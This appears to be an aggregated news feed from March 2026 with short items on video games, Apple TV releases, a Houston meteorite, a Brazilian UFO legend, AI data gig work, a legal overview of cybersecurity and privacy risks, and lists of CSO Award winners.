Ryu Ga Gotoku Studio has revealed more details about its upcoming title, Stranger Than Heaven, at the Xbox Partner Preview stream. While previous teasers showed that it was going to be set in the 1910s and 1940s, it turns out its gameplay will span five different time periods: 1915, 1929, 1943, 1951 and 1965. The game’s events will also take place in five different cities. Ryu Ga Gotoku has yet to reveal what the locations will be based on, but the setting for 1965 seems to be Kamurocho. That’s the fictionalized version of Tokyo’s Kabukicho entertainment district in the studio’s games, the Yakuza and Judgment series.

One time period seems to be set during winter, while another focuses on a hot spring town. It’s clear from teasers and the new trailer RGG released that new title will share Yakuza’s aesthetics and maybe even its fighting mechanics. The studio has yet to say whether it will be connected to the Yakuza series, but fans believe Stranger Than Heaven could focus on the beginnings of the yakuza clans that appeared throughout the franchise.

RGG Studio will reveal more details about the game on another stream with Xbox on May 6 at 7PM Eastern time. For now, you can watch the trailer below for a preview. Take note that while the studio has teamed up with Xbox for these reveals, the game will also be available on Steam and the PS5.

This article originally appeared on Engadget at https://www.engadget.com/gaming/rggs-stranger-than-heaven-game-will-span-five-time-periods-114554699.html?src=rss

Apple TV Reveals ‘Widow’s Bay’ Horror Series Set on Island With No Wi-Fi

Thu, 26 Mar 2026 21:37:34 +0100

Apple TV has shared a first look at Widow’s Bay, a new horror-comedy series that premieres on Wednesday, April 29, 2026. The show is set in a small island town off the coast of New England, and the teaser leans hard into the place’s eerie mood, odd locals, and a growing sense that something is badly wrong beneath the surface. Matthew Rhys leads the series as Mayor Tom Loftis, a man trying to revive his struggling town and build a better future for his teenage son. Apple says the island has no Wi-Fi, weak cell service, and residents who believe the place is cursed. At first, Loftis seems focused on bringing in tourists. Then the old stories begin to come true. Apple describes Widow’s Bay as a mix of genuine horror and character-driven comedy. The 10-episode season starts with three episodes on April 29, and Apple will release one new episode every Wednesday through June 17, 2026. The series comes from creator Katie Dippold, while Hiro Murai directs five episodes this season. https://youtu.be/4JLAweJZrgg Quick details Title: Widow’s Bay Genre: Horror-comedy Lead star: Matthew Rhys Season length: 10 episodes Premiere date: Wednesday, April 29, 2026 Finale date: Wednesday, June 17, 2026 Release schedule: First 3 episodes at launch, then 1 episode every Wednesday Setting: A quiet island town 40 miles off the coast of New England Plot Widow’s Bay follows Tom Loftis, a mayor who wants to turn a fading island community into a tourist spot people actually want to visit. The teaser suggests he gets his wish, at least for a moment. Visitors start arriving, and the town finally feels alive again. Then the darker side of the island wakes up. The setup points to a story built around old folklore, local paranoia, and a mayor who looks increasingly out of his depth. Apple’s description makes it clear that the townspeople were not exaggerating when they warned that the island was cursed. That gives the show room to blend creepy mystery with awkward comedy, especially as Loftis tries to keep the town together while the impossible starts happening. Spoilers: The teaser and official description already reveal that the island’s strange legends start becoming real after years of calm. FAQs When does Widow’s Bay premiere on Apple TV?It premieres on Wednesday, April 29, 2026, with the first three episodes. How many episodes are in Widow’s Bay season 1?The first season has 10 episodes. Is Widow’s Bay a horror show or a comedy?Apple calls it a horror-comedy that blends genuine horror with character-driven comedy. Who stars in Widow’s Bay?Matthew Rhys leads the series as Mayor Tom Loftis. Apple also lists Kate O’Flynn, Stephen Root, Kingston Rumi Southwick, Kevin Carroll, and Dale Dickey in the cast. When does the season end?After the three-episode premiere, one new episode arrives every Wednesday through June 17, 2026. Where can you watch Widow’s Bay?You can stream it on Apple TV through the Apple TV app on supported devices and on the web. Apple TV costs $12.99 per month in the U.S., or $129 per year, and new subscribers can get a seven-day free trial. The service is also available through Apple One, and you can watch it across iPhone, iPad, Mac, Apple TV 4K, Vision Pro, game consoles, streaming devices, smart TVs, Android devices, and the web. What do you plan to watch on Apple TV next? Let us know in the comments.

Blumhouse's horror-centric cozy game Grave Seasons will be released on August 14

Thu, 26 Mar 2026 19:46:52 +0100

The spooky, yet cozy, game Grave Seasons is coming out on August 14, which was announced at today's Xbox Partner Preview event. This is basically Stardew Valley, but set in a Lovecraftian nightmare of a town. Players farm, mine and romance villagers, but also solve murders and deal with the occasional bloodthirsty demon or two. It looks fun!

This is being published by Blumhouse Games, which is a division of the film studio that pumps out modern horror hits like Happy Death Day, M3GAN and Five Nights at Freddy's. Perfect Garbage is the development studio behind the game, which previously made the narrative-driven cyberpunk title Love Shore.

Grave Seasons is coming to just about every platform out there, including Xbox Series X/S, Steam, PS5 and the Switch. It's truly a golden age for cozy gamers.

This isn't the only cozy game with a darker undercurrent. Titles like Graveyard Keeper, Cozy Grove and Spiritfarer have all experimented with this idea. Even Nintendo's recent smash Pokémon Pokopia is set in some kind of post-apocalyptic world.

This article originally appeared on Engadget at https://www.engadget.com/gaming/blumhouses-horror-centric-cozy-game-grave-seasons-will-be-released-on-august-14-184042880.html?src=rss

Brazil's UFO Capital Marks 30 Years Since 'Alien Encounter'

Thu, 26 Mar 2026 04:35:51 +0100

Thirty years after the alleged 1996 "ET of Varginha" encounter, debate continues to rage over the events that happened in Brazil's self-styled UFO capital. An anonymous reader quotes an excerpt from the Guardian: The skies over this far-flung coffee-growing hub went charcoal black, the heavens opened and one of Brazil's greatest mysteries was born. "It really was something unique," recalls Marco Antonio Reis, a zoo director, who was at his ranch outside Varginha one stormy day in January 1996 when, he says, an otherworldly creature came to town. Reis and other locals claim the unusually ferocious downpour heralded a series of disturbing and seemingly paranormal events. At least six of the zoo's animals, including a spider monkey, a tapir and a raccoon, died mysteriously after a horned interloper with bulging red eyes was spotted in the vicinity by a woman who had gone out for a smoke. When a vet examined their corpses, "they were all black inside," Reis claims. On a nearby wasteland, three young women spotted a peculiar and malodorous being with a heart-shaped face and three lumps on its head cowering beside a wall. "I've seen the devil," one of those witnesses would later tell her mum. Soon afterwards, an unexplained infection was rumored to have killed a strapping police intelligence officer who was said to have grappled with the oleaginous unidentified being. Three decades later, Reis says he is convinced Varginha received a non-human visit. His only doubt was from where it came. "We don't know if it was extraterrestrial or intraterrestrial," the 71-year-old says as he climbs a staircase to the veranda where the smoker claims to have seen what, in reference to Steven Spielberg's 1982 film, became known as the "ET of Varginha". A 2ft statue of a two-toed alien now marks the spot. "It's possible it was an intraterrestrial, from inside the Earth They don't just come from space," Reis says. "It might have come from the depths of the Earth, too. We don't even know what it's like at the bottom of the sea, do we?"

Read more of this story at Slashdot.

ICE Is Paying the Salaries of This Town’s Entire Police Force

Tue, 24 Mar 2026 10:36:08 +0100

Under a Homeland Security program, police departments around the US are signing up to assist in immigration enforcement. The cops of Carroll, New Hampshire, are going all in—and they’re likely not alone. This article has been indexed from Security Latest…

The post ICE Is Paying the Salaries of This Town’s Entire Police Force appeared first on IT Security News.

ICE Is Paying the Salaries of This Town’s Entire Police Force

Tue, 24 Mar 2026 10:16:21 +0100

Here Is Every New Show and Movie Coming to Apple TV in April 2026

Tue, 24 Mar 2026 04:42:23 +0100

April is shaping up to be a huge month for Apple TV fans. The streaming service is bringing a packed lineup of fresh original movies, returning fan-favorite series, and completely new shows to your screens. Whether you want a dark comedy with big stars, a tense crime thriller, or a spooky island mystery, there is plenty to watch. Here is everything dropping soon. 1. Your friends & neighbors (season 2) Episodes: 10 Starts airing: April 3, 2026 Season run: April 3 to June 5, 2026 Genre: Dark comedy and crime drama Starring cast: Jon Hamm, James Marsden, Amanda Peet, Olivia Munn Plot: Jon Hamm is back as Andrew Cooper, a guy living a double life as a suburban thief. This season turns up the heat when a mysterious new neighbor moves in and threatens to expose his secrets. The stakes are much higher, and the cast expands with plenty of familiar faces joining the drama. 2. Outcome Episodes: 1 (feature film) Starts airing: April 10, 2026 Season run: N/A Genre: Dark comedy Starring cast: Keanu Reeves, Cameron Diaz, Matt Bomer, Jonah Hill Plot: Jonah Hill directs and stars in this movie alongside Keanu Reeves and Cameron Diaz. Reeves plays a famous Hollywood actor who gets blackmailed with a mysterious video that could ruin his career. To figure out who is behind the threat, he takes a deep dive into his past to make amends with everyone he might have wronged. 3. Margo's got money troubles Episodes: 8 Starts airing: April 15, 2026 Season run: April 15 to May 20, 2026 Genre: Comedic family drama Starring cast: Elle Fanning, Michelle Pfeiffer, Nicole Kidman, Nick Offerman Plot: This new series follows Margo, a recent college dropout who suddenly finds herself dealing with a new baby and a mountain of bills. With an ex-pro wrestler and a former waitress for parents, she has to figure out creative ways to survive her financial mess. 4. Criminal record (season 2) Episodes: 8 Starts airing: April 22, 2026 Season run: April 22 to June 10, 2026 Genre: Crime thriller Starring cast: Peter Capaldi, Cush Jumbo Plot: Peter Capaldi and Cush Jumbo return as rival London police officers in this tense crime drama. This season, a fatal stabbing at a political rally forces the two detectives into a very uncomfortable alliance. Their murder investigation quickly spirals into an undercover mission to stop a bomb plot in the middle of the city. 5. My brother the minotaur Episodes: TBA Starts airing: April 24, 2026 Season run: TBA Genre: Animated kids and family adventure Starring cast: Ely Solan, Billy Jenkins, Michael Sheen, Brian Cox Plot: This animated adventure follows a young minotaur who grew up in the human world. Curious about his mythical roots, he goes on a wild journey with his human brother and a group of friends. They work together to discover his true identity while fighting off dark forces. 6. Widow's Bay Episodes: 6 Starts airing: April 29, 2026 Season run: April 29 to May 20, 2026 Genre: Horror comedy Starring cast: Matthew Rhys, Kate O'Flynn, Stephen Root, Kevin Carroll Plot: Matthew Rhys stars as the mayor of a struggling New England island town. He is desperate to bring in tourists to save the local economy, ignoring the residents who swear the island is cursed. He actually succeeds in getting people to visit, but then the spooky old legends start coming true. Live sports and continuing series Apple TV is keeping up with live sports broadcasts, offering Major League Baseball, Formula 1, and Major League Soccer matches all month long. You can also catch new weekly episodes of current shows like Shrinking, The Hunt, Imperfect Women, and Monarch: Legacy of Monsters.

There's a new affordable 100-inch mini-LED TV in town — but would you go for this Toshiba when you can get Hisense and TCL's best TVs for way cheaper?

Mon, 23 Mar 2026 18:01:24 +0100

Toshiba's new mini-LEDs have a decent specification but the largest size is considerably more expensive than the equivalent Hisense or TCL

Fatal Frame II: Crimson Butterfly Remake Review (PC)

Mon, 23 Mar 2026 15:50:37 +0100

Fatal Frame II: Crimson Butterfly has always been known for being really scary, especially for the time it came out, which was 2003. Now, well over 20 years later, we get to relive this game in a fully remade fashion and enjoy or run away from those scary ghosts once again. The Fatal Frame II: Crimson Butterfly Remake does a wonderful job at bringing the old Fatal Frame II experience to life, with stunning visuals and some other interesting changes. In this game, you follow Mayu and Mio, which are two twins exploring the Minakami Village. The village is full of angry ghosts, and it also has a rather strange history, which you will uncover as you play. Another interesting thing is that you are introduced very early on to the idea that you need to perform a ritual, which does mess up with your brain. Seeing the two scared girls explore a haunted town and embracing the challenge brought by jumpscares makes the game very scary at times. They are dealing with a very opp...

Meteor Rumbles Over Houston, as Six-Pound Fragment Crashes Into a Texas Home

Sun, 22 Mar 2026 08:51:02 +0100

"It is the talk of the town today — the loud boom, the flash of light in the sky experienced by a lot of folks across the Houston area this afternoon," says a local Texas newscaster. "And then there was this — a home in northwest Harris county hit by something that crashed through their roof." Travelling at very high speed, the six-pound meteorite crashed through their roof and through their attic, crashing again through the ceiling oF the floor below. It then bounced off the floor, hit the ceiling again — and then fell onto the bed. CBS News reports: NASA said in a social media post that the meteor became visible at 49 miles above Stagecoach, northwest of Houston, at 4:40 p.m. local time. The meteor moved southeast at 35,000 miles per hour, breaking apart 29 miles above Bammel, just west of Cypress Station, NASA said. "The fragmentation of the meteor — which weighed about a ton with a diameter of 3 feet — created a pressure wave that caused booms heard by some in the area," NASA said in the post. Across the Houston area, residents described hearing a low, rumbling sound that many compared to thunder, even though the skies were clear, according to CBS affiliate KHOU. Earlier this week, an asteroid weighing about 7 tons and traveling at 45,000 mph traveled over multiple states. And last June, a bright meteor was seen across the southeastern U.S. and exploded over Georgia, creating similar booms heard by residents in the area.

Read more of this story at Slashdot.

Thousands of people are selling their identities to train AI – but at what cost?

Sat, 21 Mar 2026 15:03:29 +0100

Gig AI trainers worldwide are selling moments of their lives, including calls and texts, to AI companies for quick cash

One morning last year, Jacobus Louw set out on his daily neighborhood walk to feed the seagulls he finds along the way. Except this time, he recorded several videos of his feet and the view as he walked on the pavement. The video earned him $14, about 10 times the country’s minimum wage, or for Louw, a 27-year-old based in Cape Town, South Africa, half a week’s worth of groceries.

The video was for an “Urban Navigation” task Louw found on Kled AI, an app that pays contributors for uploading their data, such as videos and photos, to train artificial intelligence models. In a couple of weeks, Louw made $50 by uploading pictures and videos of his everyday life.

‘It does feel like an intimidation campaign’: why is US tech giant Palantir suing a small Swiss magazine?

Fri, 20 Mar 2026 17:16:16 +0100

An investigation by journalists working with Republik magazine may have struck a nerve by suggesting the company has failed in Switzerland

It was over beers on an autumn evening in Zurich in 2024 that a group of journalists with an independent Swiss research collective began to discuss investigating Palantir, one of the world’s biggest tech companies.

Three years earlier, Palantir had advertised that it was setting up a “European hub” in the Swiss municipality of Altendorf, a sleepy town of roughly 7,000 people on the shores of Lake Zurich.

Apple TV Unveils First Look at Scorsese Film with DiCaprio and Lawrence

Fri, 20 Mar 2026 14:12:36 +0100

Apple Original Films has officially released the first image from Martin Scorsese's upcoming psychological thriller, What Happens at Night. The highly anticipated movie stars Leonardo DiCaprio and Jennifer Lawrence as a married American couple navigating a surreal and difficult journey. With principal photography currently underway across the Czech Republic, this project marks the seventh feature film collaboration between the legendary director and DiCaprio, while Lawrence works with Scorsese for the first time. The new Scorsese project has a snowy setting for a haunting story Adapted by Patrick Marber from the 2020 novel by Peter Cameron, the film follows an unnamed husband and wife traveling to an isolated European town to adopt a baby. The wife is battling a severe illness, making the trip physically taxing. Upon arriving, the couple checks into a massive hotel populated by strange characters. As they fight to finalize the adoption, their grasp on reality and their marriage begins to unravel. The newly released promotional photo sets a distinctly cold and dreamlike tone. It shows DiCaprio and Lawrence walking hand in hand down a snowy road with a vintage taxi idling in the background. https://twitter.com/AppleTV/status/2034646736598094021?s=20 Industry reporters indicate the film leans heavily into psychological horror elements, sharing a similar atmosphere with Scorsese's previous work on Shutter Island. The news about the new movie has arrived soon after Apple TV dropped the first two episodes of the thriller Imperfect Women, apart from adding Jesse Williams to the cast of The Morning Show season 5. Expanding the acclaimed cast and production team Beyond the two lead actors, the movie features a strong supporting cast. Mads Mikkelsen, Patricia Clarkson, Jared Harris, and Welker White have all signed on to the project. The film is a joint production between Apple Studios, Studiocanal, and Scorsese's own Sikelia Productions. Both DiCaprio and Lawrence are also serving as producers. Scorsese and Apple recently partnered on Killers of the Flower Moon, which garnered massive critical acclaim. While Apple has not yet announced an official release date for What Happens at Night, the current shooting schedule suggests a potential premiere in late 2026 or early 2027.

'It won’t be so much a ghost town as a zombie apocalypse': How AI might forever change how we use the internet

Fri, 20 Mar 2026 04:29:04 +0100

AI slop, chatbots and agentic AI are changing the internet, and could transform it beyond recognition, experts say.

Local Times OTT Release Date: What to Know About This New Malayalam Friendship Comedy

Fri, 20 Mar 2026 04:12:00 +0100

The Tamil comedy-drama Local Times is a story of friendship, ambition, and the struggle to achieve one's dreams. The series draws on the everyday chaos of small-town journalism, coated with a blend of humour and emotion. Now streaming on OTT in India, the story follows four young friends determined to save their failing newspaper. Local Times Season 1 debuted on March...

Cybersecurity and privacy priorities for 2026: The legal risk map

Wed, 18 Mar 2026 10:06:06 +0100

Escalating cybersecurity threats and growing privacy concerns lurk around every corner these days. Evolving technology and mounting regulations continue to present both the perils and solutions. All players — public and private, organizations and individuals alike — are to conquer the next quest in this realm.

In the most recent Annual Litigation Trends Survey by Norton Rose Fulbright, nearly four in 10 corporate counsel respondents stated that their business’s exposure to cybersecurity and privacy disputes deepened in 2025. The actual increase in exposure also surpassed the already high expectations from the year before. Cybersecurity and privacy even claimed the fastest-rising class action hotspot.

Treading such treacherous waters requires constant education and setting appropriate priorities. Here are the key drivers of cybersecurity and privacy legal exposure that deserve the utmost attention:

State-sponsored actors emboldened by sophisticated technology

Heading into 2026, rising geopolitical tensions across the globe further intensify conflicts in the digital space. The latest developments in the Middle East have only added fuel to the long-standing cyber battlegrounds. The pressure to defend against state-sponsored threat actors had already reached its peak in recent years, especially for the critical infrastructure sector. Given the additional tensions and interconnected nature of today’s digital systems through supply chains and data-sharing relationships, it will be difficult to find a sanctuary anytime soon no matter the industry.

The state-sponsored threat actors operate with high sophistication, leveraging the latest technology including AI, to launch attacks and maximize potential impact. Their malicious activities often result in disruption of essential services, data theft and/or illicit revenue generation. The quick adoption of the latest tools embolden the attacker moves whereas defenders pursue a more measured approach in adoption and thus take more time.

Furthermore, preparing for and responding to these threats are demanding not only in and of themselves, but also for the additional legal obstacles thereafter as various types of cybersecurity and privacy disputes may ensue and those may expose additional compliance gaps.

Continued federal interest in cybersecurity and privacy, especially in connection with national security concerns

The evident connection between cybersecurity and privacy and national security have led to a number of federal initiatives in recent years. Most recently in March 2026, the White House announced the current administration’s Cyber Strategy for America, renewing a commitment to strengthening the country’s cybersecurity posture.

In 2025, the U.S. Department of Justice Data Security Program went into effect to govern certain categories of data transactions with countries of concern and covered persons as defined. Although there have been delays in the rulemaking following the passage of the Cyber Incident Reporting for Critical Infrastructure Act of 2022 (CIRCIA), [CISA originally planned to hold town hall meetings this spring regarding the CIRCIA proposed rules from 2024.]

When it comes to enforcement, the Department of Justice has indicated that its focus on cybersecurity remains strong, especially with respect to the Civil Cyber-Fraud Initiative, which utilizes the False Claims Act to pursue fraud related to cybersecurity by government contractors and grant recipients.

Although the U.S. Securities and Exchange Commission has been less active in this space lately, the Federal Trade Commission has shown some signs of interest. In February 2026 alone, it warned data brokers of noncompliance with the Protecting Americans’ Data from Foreign Adversaries Act of 2024 (PADFAA) and held a Workshop on Consumer Injuries and Benefits in the Data-Driven Economy, exploring potential implications of empirical evidence of injuries and benefits to enforcement decisions and judicial review outcomes.

Despite the remaining uncertainties around specific guidance and direction, it is fair to conclude that the federal pressure is still on especially for organizations with dealings with the federal government as a service provider or partner receiving sensitive information belonging to the government and/or American individuals.

Coordinated efforts from state government agencies

As organizations hustle to keep up with the rapidly developing cybersecurity threat landscape and the federal government agencies prioritize a subset of issues, state government agencies are diversifying the options to fill in any regulatory and enforcement gaps.

California leads the way with the newly in effect regulations under the California Consumer Privacy Act (CCPA), including the requirement on certain businesses to conduct comprehensive annual cybersecurity audits spanning across 18 components ranging from multi-factor authentication (MFA) to incident response management. The New York Department of Financial Services also bolstered its cybersecurity requirements for financial services companies under 23 NYCRR 500 earlier, with its most recent MFA guidance announced in February 2026.

On the privacy front, state regulators are finding ways to collaborate despite the challenges stemming from the ever-expanding web of federal and state laws. In 2025, several state regulators formed a bipartisan “Consortium of Privacy Regulators to share expertise and resources, as well as coordinate efforts to investigate potential violations of applicable laws.” The Consortium members including the California Privacy Protection Agency is investing in resources to implement and enforce the laws and regulations, poised to continue addressing consumer privacy rights ranging from opt-outs to data broker oversight. Looking ahead, state regulators and enforcers are expected to solidify and expand the exchange across state and national borders and seek to address common privacy concerns such as children’s privacy and surrounding dynamic pricing, also referred to as algorithmic or “surveillance pricing”, as part of consumer protection initiatives. As threat actors become more sophisticated, so will the defenses, governing laws and their enforcers.

Heightened risk associated with third-party service providers

Notably, state regulators recognize the importance of third-party risk management as many incident occur in the third-party service provider or vendor environment. Management of third parties is also a key component of the CCPA regulations. Prior federal regulations and guidance, too, reflect this emphasis. For example, the Securities and Exchange Commission’s Cybersecurity Risk Management, Strategy, Governance and Incident Disclosure requirements include a managing risks posed by third-party service providers. The Federal Communications Commission named third-party risk evaluation as one of the eight core best practices for preventing and mitigating ransomware attacks in its January 2026 Public Notice.

In the age of endless supply chain attacks, a strong cybersecurity program involves an established process for identifying and managing risks from third-party service providers. Demonstrating an effective third-party risk management in this context is not limited to preparing the paperwork alone. It also means understanding and monitoring the actual practices of the third-party service providers at hand and continuing to seek further improvements.

Growing seeds of conflict — whistleblowers and creative litigants

The days of only widely publicized data breaches leading to relatively simple class action lawsuits are far behind us. There has been a proliferation of cybersecurity and privacy claims due to the increasing number of laws and regulations alongside creative arguments manifested in government enforcement initiatives, strike forces and lawsuits making use of broad interpretation of old laws.

The False Claims Act, originally of the Civil War era, illustrates this point. Federal government (and state governments with their corresponding laws), may rely on private whistleblowers who make qui tam filings on behalf of the government under this law. In fact, the Department of Justice is looking to rely on whistleblowers as key sources for detecting potential noncompliance related to cybersecurity. State regulators are evaluating how this approach may be replicated not only under the state False Claims Act, but in other state laws. Many state regulators rely heavily on consumer complaints in forming the agenda. As the world becomes more cybersecurity and privacy-conscious, inaccurate statements around cybersecurity and privacy are projected to have greater impact.

It is no longer a surprise to see organizations simultaneously face cybersecurity attacks, immediately filed class action lawsuits and investigations based on whistleblower allegations. Without strategic development and refinement of processes to identify, escalate and investigate cybersecurity and privacy concerns as appropriateffganizations may easily get swept into a whirlwind of legal troubles.

These trends call for organizations to take a moment and assess where they stand in their cybersecurity and privacy journey. Consider going back to the basics and asking some fundamental questions:

What information does the organization handle?
How is the information used? With whom is it shared?
What measures are in place to safeguard that information?
What cybersecurity and privacy obligations does the organization carry?
Who is responsible for identifying and performing these obligations?
How does the organization raise awareness and train appropriate personnel?
What statements does the organization make regarding its cybersecurity and privacy practices?
How are cybersecurity and privacy concerns raised and investigated?
How does the organization identify and implement areas for improvement?
Who oversees cybersecurity and risk management? How?

If an answer to any of these questions is unclear, it is time to roll up the sleeves and prioritize the to-do list.

This article is published as part of the Foundry Expert Contributor Network.
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Holiday Chat: Local AI datacenter activism, AI can't substitute good taste, and more - ESW #439

Tue, 17 Mar 2026 17:53:04 +0100

For this week's episode of Enterprise Security Weekly, there wasn't a lot of time to prepare. I had to do 5 podcasts in about 8 days leading up to the holiday break, so I decided to just roll with a general chat and see how it went.

Also, apologies, for any audio quality issues, as the meal I promised to make for dinner this day required a lot of prep, so I was in the kitchen for the whole episode! For reference, I made the recipe for morisqueta michoacana from Rick Martinez's cookbook, Mi Cocina. I used the wrong peppers (availability issue), so it came out green instead of red, but was VERY delicious.

As for the episode, we discuss what we've been up to, with Jackie sharing her experiences fighting against Meta (allegedly, through some shell companies) building an AI datacenter in her town.

We then get into discussing the limitations of AI, the potential of the AI bubble popping, and general limitations of AI that are becoming obvious. One of the key limitations is AI's inability to apply personal experience, have strong opinions, or any sense of 'taste'. I think I shared my observation that AI is becoming a sort of 'digital junk food'. "NO AI" has become a common phrase used by creators - a source of pride that media consumers seem to be celebrating and seeking out.

Segment Resources:

Kagi absolutely did NOT sponsor this episode. I have become a big fan of paying for search so that I am not the product. There are other players in this market, but I've settled on Kagi.
We mention Ira Glass's bit on taste, which is a small bit of a longer talk he did on storytelling. The shorter bit is here, and is less than 2 minutes long.
The full talk is split into 4 parts and posted on a YouTube channel called "War Photography" for some reason.
Part 1: https://youtu.be/5pFI9UuC_fc
Part 2: https://youtu.be/dx2cI-2FJRs
Part 3: https://youtu.be/X2wLP0izeJE
Part 4: https://youtu.be/sp8pwkgR8
Finally, we also bring up a talk we also discussed on episode 437, Benedict Evans' AI Eats the World

Visit https://www.securityweekly.com/esw for all the latest episodes!

Show Notes: https://securityweekly.com/esw-439

AI Cage Match, Fortinet, Cisco, DVWA, Polonium, Small Town AIs, LastPass, Josh Marpet - SWN #549

Tue, 17 Mar 2026 17:52:29 +0100

AI Cage Match, Fortinet, Cisco, DVWA, Polonium, Small Town AIs, LastPass, Josh Marpet, and More on this episode of the Security Weekly News.

Visit https://www.securityweekly.com/swn for all the latest episodes!

Show Notes: https://securityweekly.com/swn-549

heise+ | Framework: Gas Town orchestriert Coding-Agenten nach Kubernetes-Vorbild

Tue, 17 Mar 2026 17:46:35 +0100

Das Framework Gas Town orchestriert mehrere Agenten nach dem Vorbild von Kubernetes und kompensiert deren Fehler automatisch.

Mythmatch review – a match-three game made in heaven

Tue, 17 Mar 2026 13:46:57 +0100

Team Artichoke; PC/Mac
Ancient Greek gods, adorable raccoons and hypnotic puzzling from Olympus to the mortal realm and back

There’s been a trend for a while where familiar puzzle game genres are imbued with novel stories to give them depth and meaning beyond simply clearing a screen for points. Occult object sorter Strange Horticulture and historical romance card game Regency Solitaire are lovely examples, and now here’s Mythmatch, a match-three game in the style of Candy Crush or Bejeweled that’s also a warming tale of friendship and community set in a small town in ancient Greece. Interspersing the puzzles, dialogue scenes between villagers and gods accentuate each other and give little clues that are picked up later, making it both puzzle game and communal oral history.

You play as Artemis, the immortal daughter of Zeus, who is tired of getting overlooked for plum jobs in favour of her oafish brother Apollo (brilliantly portrayed as an insufferable proto-tech bro). When the role of God of the Hunt comes up, she applies, but finds she must first earn favour with a council of her elders on Mount Olympus, and they all have puzzle-based jobs for her. Hephaestus wants her to help make arrows and hammers in his foundry, while Apollo needs her to protect his collection of chimp soft toys (a not-so-subtle dig at NFTs). These mini-tasks take the form of match-three puzzles, though cleverly they also bring in elements of other puzzle games such as Plants vs Zombies and Overcooked.

A photo of Iran’s bombed schoolgirl graveyard went around the world. Was it real, or AI?

Tue, 17 Mar 2026 10:16:33 +0100

Numerous faked images and a string of startlingly inaccurate responses from Gemini and Grok are part of a tidal wave of AI slop engulfing coverage of the Iran war

The graves, freshly dug, lie in neat rows of 20 across. More than 60 have already been carved out of the earth, with a few clusters of people standing gathered around them. Dozens more are marked out on the ground in front: small chalk rectangles, with diggers poised to complete their task.

The cemetery of Minab, photographed as it prepares to bury more than 100 of the town’s young girls, is one of the defining images of the US-Israeli war on Iran, bluntly capturing the devastating civilian toll.

CSO Awards 2026 celebrates world-class security strategies

Fri, 13 Mar 2026 12:39:24 +0100

For more than a decade, the CSO Awards have recognized security projects that demonstrate outstanding thought leadership and business value. The award is an acknowledged mark of cybersecurity excellence.

“This year’s award winners show how security teams have repositioned themselves as strategic business enablers,” Beth Kormanik, Content Director of the CSO Cybersecurity Awards & Conference said in a statement. “They tackle business challenges by leveraging new technology and ideas and delivering detailed planning and strong execution. Their organizations are stronger for these efforts that protect revenue continuity, improve resilience, and strengthen compliance. We congratulate them and look forward to celebrating them at the CSO Cybersecurity Awards & Conference.”

CSO invites industry professionals and security technology companies to connect, learn, and celebrate the winners at the annual CSO Cybersecurity Awards & Conference held May 11-13, 2026, at the Loews Nashville Vanderbilt Plaza. Registration for the event is now open.

Please join us in congratulating this year’s winners!

2026 CSO Award winners

4Wall Entertainment	HMSA
Aaron’s LLC	Horizon BCBSNJ
Accenture	K&N Engineering Inc
Adobe	LyondellBasell Industries
Aflac	McDonald’s
Ally Financial	Medtronic PLC
AmeriHealth Caritas	Midcontinent Independent System Operator (MISO)
Avangrid	Moelis & Company
Baptist Memorial Health Care Corporation	Monster Energy
California Housing Finance Agency	MultiCare Health System
Carvana	National Cybersecurity Alliance
Casey’s	New Albany Floyd County Schools
City of Scottsdale	Newsmax
Cleveland Metropolitan School District	PDS Health
Cloud Security Alliance	Penn Medicine
CN Rail	Postman
Coalfire Systems, Inc.	PROS
CommonLit	Prosper Marketplace
Consensus Cloud Solutions, Inc.	ReSource Pro
Copart	Salesforce
Cornerstone OnDemand	SAP SE
Cummins, Inc.	SIGMA CORPORATION
Delta Dental Plans Association	Swimlane
DigiKey	TD Bank Group
Docusign	The Friedkin Group
Elastic	TIAA
Enpro	Town of Gilbert
EXL	Uber Technologies, Inc.
Gates Corporation	United Airlines
Genesys	US Med-Equip, LLC
GENPACT	Xactly Corporation
Hensel Phelps	Zions Bancorporation

2025 winners

A+E Global Media	Marine Corps Community Services
Accenture	Marvell
Adobe	Mastercard
Aflac	Munich Re
Ally Financial	National Cybersecurity Alliance
AmeriHealth Caritas	Naval Information Warfare Center Pacific
Amtrak	New Jersey Institute of Technology
Arizona Department of Child Safety	Northern Nevada HOPES
Augusta University	NRC Health
Avanade	OHLA USA
Avery Dennison	Penn Medicine
Avnet, Inc.	Precisely
Baptist Medical Health Care Corporation	Prime Therapeutics, LLC
Brunswick Corporation	Principal Financial Group
Carvana	PROS
Casey’s General Stores	Qualcomm Incorporated
Cloud Security Alliance	Resilience
CWT	ReSource Pro
Edifecs, a Cotiviti company	SAP SE
Enpro	Sitecore
Florida State University	The Friedkin Group
Gainesville Regional Utilities/City of Gainesville	TIAA
Gates Corporation	Topgolf Callaway Brands
Genpact	United Airlines, Inc.
HGS	Walmart, Inc.
Horizon Blue Cross Blue Shield of New Jersey	Wellstar Health System
InComm Payments	Wesco
Intel Corporation	Zuora
Main Line Health

2024 winners

Accenture	Genpact
Adobe	Georgia Pacific
AES Corporation	Horizon BCBS
Aflac	ID.me
Ally Financial	Indiana Office of Technology
AmeriHealth Caritas	Intel Corporation
Ashland	James Hardie Industries plc
Astellas	Main Line Health
Auto Club Group (AAA)	Marvell Technology
Avangrid Corporate Security	National Cybersecurity Alliance
Avnet	NJ Transit
Baptist Medical Health Care Center	OHLA USA
Camelot Secure	Penn Medicine
Campbells Soup	PROS
Carrier Global Corporation	Prosper Marketplace
Carvana	Qualcomm
Chapters Health System	Relativity
Chime	SAP SE
Cintas Corporation	Secureworks
Cisco Systems	SolarWinds
Consensus Cloud Solutions, Inc.	Splunk
Cornerstone OnDemand	Thoughtworks
CorroHealth	TIAA
Cox Automotive	TIME
DXC Technology	Trend Health Partners, LLC
Enpro	United Airlines
Fifth Third Bank	Wesco
First Citizens Bank	Western Governors University
Gates Corporation	Whirlpool Corporation